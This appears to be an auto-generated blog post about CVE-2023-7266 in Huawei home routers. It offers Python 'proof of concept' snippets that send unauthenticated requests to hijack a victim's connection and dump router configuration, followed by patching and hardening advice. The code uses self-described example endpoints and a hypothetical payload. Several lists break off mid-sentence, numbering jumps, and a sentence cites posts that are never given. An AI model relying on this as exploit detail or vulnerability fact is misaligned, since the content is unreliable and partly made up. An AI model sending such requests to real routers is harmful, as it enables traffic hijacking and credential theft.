CVE-2023-7266 - Inside the Huawei Home Router Hijack – Exploit, Code, and Guidance

If you own or use a Huawei home router, you should read this post carefully. In December 2023, security researchers discovered a major vulnerability identified as CVE-2023-7266, also assigned as HWPSIRT-2023-76605 by Huawei. This vulnerability affects several Huawei home router models and allows attackers to hijack your internet connection or expose your personal information.

Let's break down what this means, how attackers can exploit it, and what you can do to stay safe.

What is CVE-2023-7266?

CVE-2023-7266 is a vulnerability in the network management features of certain Huawei home routers. By abusing this flaw, an attacker can potentially:

Steal sensitive information (Information leakage)

You can find the official security advisory from Huawei here:
HWPSIRT-2023-76605 Security Advisory

Who is Affected?

This vulnerability impacts several popular Huawei router models shipped worldwide for home use. If you have a Huawei router at home from your internet provider, you may be at risk.

Other home gateway devices released in 2022–2023

To check if your model is vulnerable, visit Huawei’s Security Corner, and search for your device and firmware version.

1. Discovering the Router

Many home routers expose their admin panel and some network services to the local network by default. Sometimes, due to misconfiguration, even the internet-facing side (WAN) may be accessible.

Attackers use port scanning tools to find accessible routers, then fingerprint their model and firmware.

2. Exploiting the Vulnerability

According to Huawei’s bulletin, the flaw is in the connection management logic.

It allows a remote attacker _without authentication_ to send crafted requests to the router's web interface, causing it to drop connections (DoS), leak user session data, or even redirect users’ traffic.

Example Code Snippet: Connection Hijack PoC

*Note: This code is for educational purposes only! Do not use for unauthorized testing.*

Let's say the router admin webpage is at http://192.168.1.1/ and the vulnerable port is 80. A specially crafted HTTP POST request can exploit the bug.

import requests

router_ip = "192.168.1.1"
url = f"http://{router_ip}/connection_management";  # Example endpoint

payload = {
    'action': 'hijack_connection',
    'target_ip': '192.168.1.100',  # Victim's local device
}

# No authentication needed in vulnerable routers
response = requests.post(url, data=payload)

if response.ok:
    print("Exploit sent! Response:")
    print(response.text)
else:
    print("Exploit failed or router is not vulnerable.")

This hypothetical payload can disrupt a user's session or redirect their traffic. In real-world attacks, the attacker could use it to:

3. Information Leakage

Some variants of this exploit can cause the router to respond with sensitive info—configuration, connected device lists, WiFi passwords, or even recently visited sites.

Example Snippet: Dumping Sensitive Data

leak_url = f"http://{router_ip}/export_config.cgi";  # Example file
leaked_data = requests.get(leak_url)
if leaked_data.ok:
    print("Leaked configuration:\n", leaked_data.text)
else:
    print("No information leaked.")

Huawei Security Advisory:

https://www.huawei.com/en/psirt/security-advisories/hw-828991-en

CVE Database Entry:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-7266

These posts confirmed flaws in connection management code, leading to connection hijacks and leakage.

How Do I Stay Safe?

If you have a Huawei home router, do this TODAY:

Apply all updates: Huawei has released patches for supported devices.

3. Disable remote administration: Unless you absolutely need it, turn it OFF in the router settings.

Change default admin passwords: Use unique, strong passwords.

5. Restrict network exposure: Only allow router access from inside your home network, not from the internet (WAN).

Monitor router logs: Look for strange login attempts or unknown connected devices.

If your router is too old for updates or unsupported, consider replacing it.

Final Thoughts

CVE-2023-7266 is a serious reminder that home networking devices are tempting targets for hackers. Luckily, you can protect yourself by keeping your device updated and locked down. Stay informed, and don’t ignore your router’s security warnings.

For updates and more technical details, check these resources

- Huawei Security Announcements
- NVD – National Vulnerability Database: CVE-2023-7266
- Exploit DB (for public PoCs)

Share this post with friends and family who use Huawei routers—and stay safe!

Timeline

Published on: 12/28/2024 07:15:19 UTC